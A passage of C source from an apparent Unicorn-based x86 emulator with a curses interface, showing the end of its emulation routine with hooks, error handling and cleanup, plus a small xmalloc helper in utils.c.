} 215 | 216 | // tracing all instructions by having @begin > @end 217 | uc_hook_add(uc, &trace1, UC_HOOK_CODE, hook_code_x86, NULL, 1, 0); 218 | 219 | // handle interrupt ourself 220 | uc_hook_add(uc, &trace2, UC_HOOK_INTR, hook_intr_x86, NULL, 1, 0); 221 | 222 | uc_running = true; 223 | // emulate machine code in infinite time 224 | // uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); 225 | err = uc_emu_start(uc, r->eip, baseaddress + len, 0, 0); 226 | if (err) { 227 | consw_err(""); 228 | if (prev_regs_x86 != NULL && prev_regs_x86->eip != 0) { 229 | consw("0x%08x: ", prev_regs_x86->eip); 230 | } 231 | consw("uc_emu_start() error %u: %s\n", err, uc_strerror(err)); 232 | goto finish; 233 | } 234 | 235 | 236 | finish: 237 | if (!regs_from_file) 238 | xfree(r); 239 | uc_running = false; 240 | consw_info("Emulation done.\n"); 241 | 242 | // Give the user a change to browse around in the asm window before restart 243 | r = read_x86_registers(uc); 244 | stepmode = STEP; 245 | printregs_x86(uc); 246 | printstack_x86(uc); 247 | handle_keyboard(uc, r->eip); 248 | 249 | uc_close(uc); 250 | xfree(prev_regs_x86); 251 | xfree(r); 252 | 253 | return(0); 254 | 255 | error: 256 | getch(); 257 | endwin(); 258 | exit(1); 259 | } 260 | -------------------------------------------------------------------------------- /src/utils.c: -------------------------------------------------------------------------------- 1 | #include "ucui.h" 2 | 3 | void *xmalloc(size_t size) 4 | { 5 | void *ptr; 6 | 7 | if ((ptr = malloc(size)) == NULL) { 8 | endwin(); 9 | printf("malloc: %s\n", strerror(errno)); 10 | exit(1); 11 | } 12 | memset(ptr, 0, size); 13 | 14 | return(ptr); 15 | } 16 | --------------------------------------------------------------------------------